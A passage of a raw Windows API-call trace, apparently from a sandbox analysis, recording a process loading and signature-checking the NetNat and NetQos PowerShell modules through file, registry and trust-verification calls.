ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0114.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2c0) returned 1 [0114.833] GetSystemInfo (in: lpSystemInfo=0x843d374 | out: lpSystemInfo=0x843d374*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0114.834] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d304 | out: phkResult=0x843d304*=0xa08) returned 0x0 [0114.834] RegQueryValueExW (in: hKey=0xa08, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d320, lpData=0x0, lpcbData=0x843d31c*=0x0 | out: lpType=0x843d320*=0x0, lpData=0x0, lpcbData=0x843d31c*=0x0) returned 0x2 [0114.834] RegCloseKey (hKey=0xa08) returned 0x0 [0114.834] CloseHandle (hObject=0xa24) returned 1 [0114.835] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatglobal.cdxml")) returned 0x20 [0114.835] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0114.835] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", nBufferLength=0x52, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", lpFilePart=0x0) returned 0x51 [0114.835] CoTaskMemAlloc (cb=0x20c) returned 0x73c10d0 [0114.835] GetSystemDirectoryW (in: lpBuffer=0x73c10d0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0114.835] CoTaskMemFree (pv=0x73c10d0) [0114.835] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0114.835] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0114.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2b0) returned 1 [0114.836] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d32c | out: lpFileInformation=0x843d32c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0114.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2ac) returned 1 [0114.836] GetSystemInfo (in: lpSystemInfo=0x843d360 | out: lpSystemInfo=0x843d360*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0114.836] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d2f0 | out: phkResult=0x843d2f0*=0xa24) returned 0x0 [0114.836] RegQueryValueExW (in: hKey=0xa24, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d30c, lpData=0x0, lpcbData=0x843d308*=0x0 | out: lpType=0x843d30c*=0x0, lpData=0x0, lpcbData=0x843d308*=0x0) returned 0x2 [0114.836] RegCloseKey (hKey=0xa24) returned 0x0 [0114.836] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0114.836] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", nBufferLength=0x52, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", lpFilePart=0x0) returned 0x51 [0114.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2dc) returned 1 [0114.836] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatglobal.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x547fa0c | out: lpFileInformation=0x547fa0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbbfc9b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbbfc9b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbbfc9b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x502)) returned 1 [0114.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2d8) returned 1 [0114.837] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0114.837] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", nBufferLength=0x52, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", lpFilePart=0x0) returned 0x51 [0114.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d29c) returned 1 [0114.837] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatglobal.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d318 | out: lpFileInformation=0x843d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbbfc9b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbbfc9b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbbfc9b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x502)) returned 1 [0114.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d298) returned 1 [0114.837] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0114.837] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", nBufferLength=0x52, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", lpFilePart=0x0) returned 0x51 [0114.837] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0114.837] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", nBufferLength=0x52, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", lpFilePart=0x0) returned 0x51 [0114.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d210) returned 1 [0114.837] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatglobal.cdxml"), fInfoLevelId=0x0, lpFileInformation=0x843d28c | out: lpFileInformation=0x843d28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbbfc9b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbbfc9b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbbfc9b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x502)) returned 1 [0114.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d20c) returned 1 [0114.837] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0114.837] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", nBufferLength=0x52, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", lpFilePart=0x0) returned 0x51 [0114.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d1e4) returned 1 [0114.837] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatglobal.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa24 [0114.837] GetFileType (hFile=0xa24) returned 0x1 [0114.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d1e0) returned 1 [0114.837] GetFileType (hFile=0xa24) returned 0x1 [0114.837] WTGetSignatureInfo () returned 0x0 [0115.047] CertDuplicateCertificateContext (pCertContext=0x73c2e70) returned 0x73c2e70 [0115.047] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d248 | out: phkResult=0x843d248*=0xa28) returned 0x0 [0115.157] RegQueryValueExW (in: hKey=0xa28, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x0, lpcbData=0x843d264*=0x0 | out: lpType=0x843d268*=0x1, lpData=0x0, lpcbData=0x843d264*=0x56) returned 0x0 [0115.157] RegQueryValueExW (in: hKey=0xa28, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x843d268, lpData=0x547fef8, lpcbData=0x843d264*=0x56 | out: lpType=0x843d268*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x843d264*=0x56) returned 0x0 [0115.157] RegCloseKey (hKey=0xa28) returned 0x0 [0115.157] CoTaskMemAlloc (cb=0x10) returned 0x7443e98 [0115.157] CoTaskMemAlloc (cb=0x30) returned 0x740d520 [0115.157] WinVerifyTrust () returned 0x0 [0115.159] CoTaskMemFree (pv=0x740d520) [0115.159] CoTaskMemFree (pv=0x7443e98) [0115.159] CertFreeCertificateContext (pCertContext=0x73c2e70) returned 1 [0115.159] CloseHandle (hObject=0xa24) returned 1 [0115.159] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0115.159] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", nBufferLength=0x52, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml", lpFilePart=0x0) returned 0x51 [0115.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d328) returned 1 [0115.159] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\MSFT_NetNatGlobal.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\msft_netnatglobal.cdxml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xa24 [0115.159] GetFileType (hFile=0xa24) returned 0x1 [0115.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d324) returned 1 [0115.159] GetFileType (hFile=0xa24) returned 0x1 [0115.160] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x0 [0115.160] ReadFile (in: hFile=0xa24, lpBuffer=0x5480edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5480edc*, lpNumberOfBytesRead=0x843d390*=0x502, lpOverlapped=0x0) returned 1 [0115.160] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x502 [0115.160] ReadFile (in: hFile=0xa24, lpBuffer=0x548037e, nNumberOfBytesToRead=0x2fe, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x548037e*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0115.160] SetFilePointer (in: hFile=0xa24, lDistanceToMove=0, lpDistanceToMoveHigh=0x843d364*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843d364*=0) returned 0x502 [0115.160] ReadFile (in: hFile=0xa24, lpBuffer=0x5480edc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843d390, lpOverlapped=0x0 | out: lpBuffer=0x5480edc*, lpNumberOfBytesRead=0x843d390*=0x0, lpOverlapped=0x0) returned 1 [0115.160] CoTaskMemAlloc (cb=0x20c) returned 0x73c10d0 [0115.160] GetSystemDirectoryW (in: lpBuffer=0x73c10d0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0115.160] CoTaskMemFree (pv=0x73c10d0) [0115.160] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0115.160] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll", nBufferLength=0x1d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0115.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843d2c4) returned 1 [0115.160] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x843d340 | out: lpFileInformation=0x843d340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1c22f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fa1c22f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fa1c22f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe840)) returned 1 [0115.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843d2c0) returned 1 [0115.160] GetSystemInfo (in: lpSystemInfo=0x843d374 | out: lpSystemInfo=0x843d374*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0115.161] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x843d304 | out: phkResult=0x843d304*=0xa08) returned 0x0 [0115.161] RegQueryValueExW (in: hKey=0xa08, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x843d320, lpData=0x0, lpcbData=0x843d31c*=0x0 | out: lpType=0x843d320*=0x0, lpData=0x0, lpcbData=0x843d31c*=0x0) returned 0x2 [0115.161] RegCloseKey (hKey=0xa08) returned 0x0 [0115.161] CloseHandle (hObject=0xa24) returned 1 [0115.162] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0115.162] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0115.162] VarDecCmp (pdecLeft=0x843d150, pdecRight=0x843d140) returned 0x0 [0115.162] VarDecCmp (pdecLeft=0x843d130, pdecRight=0x843d120) returned 0x2 [0115.162] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\NetNat.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0115.162] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\NetNat.psd1", nBufferLength=0x46, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\NetNat.psd1", lpFilePart=0x0) returned 0x45 [0115.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843dffc) returned 1 [0115.162] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\NetNat.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\netnat.psd1"), fInfoLevelId=0x0, lpFileInformation=0x548bf84 | out: lpFileInformation=0x548bf84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbbfc9b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbbfc9b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbbfc9b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45d)) returned 1 [0115.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843dff8) returned 1 [0115.163] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e388*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e388*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x2d, [1]=0x92, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0115.163] SetEvent (hEvent=0xa40) returned 1 [0115.163] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x843e598*=0xa40, lpdwindex=0x843e3b4 | out: lpdwindex=0x843e3b4) returned 0x0 [0115.163] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\NetNat.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0115.163] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\NetNat.psd1", nBufferLength=0x46, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\NetNat.psd1", lpFilePart=0x0) returned 0x45 [0115.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6bc) returned 1 [0115.163] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat\\NetNat.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat\\netnat.psd1"), fInfoLevelId=0x0, lpFileInformation=0x548decc | out: lpFileInformation=0x548decc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbbfc9b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6fbbfc9b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6fbbfc9b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45d)) returned 1 [0115.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6b8) returned 1 [0115.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0115.164] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0115.164] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x3a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", lpFilePart=0x0) returned 0x39 [0115.164] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1c7e767, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207eb5c8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7682828 [0115.164] FindNextFileW (in: hFindFile=0x7682828, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1c7e767, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207eb5c8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.164] FindNextFileW (in: hFindFile=0x7682828, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721277da, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x721277da, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x721277da, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_NetQosPolicy.cdxml", cAlternateFileName="")) returned 1 [0115.164] FindNextFileW (in: hFindFile=0x7682828, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721277da, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x721277da, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x721277da, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_NetQosPolicy.Format.Helper.psm1", cAlternateFileName="")) returned 1 [0115.164] FindNextFileW (in: hFindFile=0x7682828, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721277da, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x721277da, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x721277da, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1bce, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_NetQosPolicy.Format.ps1xml", cAlternateFileName="")) returned 1 [0115.165] FindNextFileW (in: hFindFile=0x7682828, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721277da, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x721277da, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x721277da, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSFT_NetQosPolicy.Types.ps1xml", cAlternateFileName="")) returned 1 [0115.165] FindNextFileW (in: hFindFile=0x7682828, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721277da, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x721277da, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x721277da, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetQos.psd1", cAlternateFileName="")) returned 1 [0115.165] FindNextFileW (in: hFindFile=0x7682828, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721277da, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x721277da, 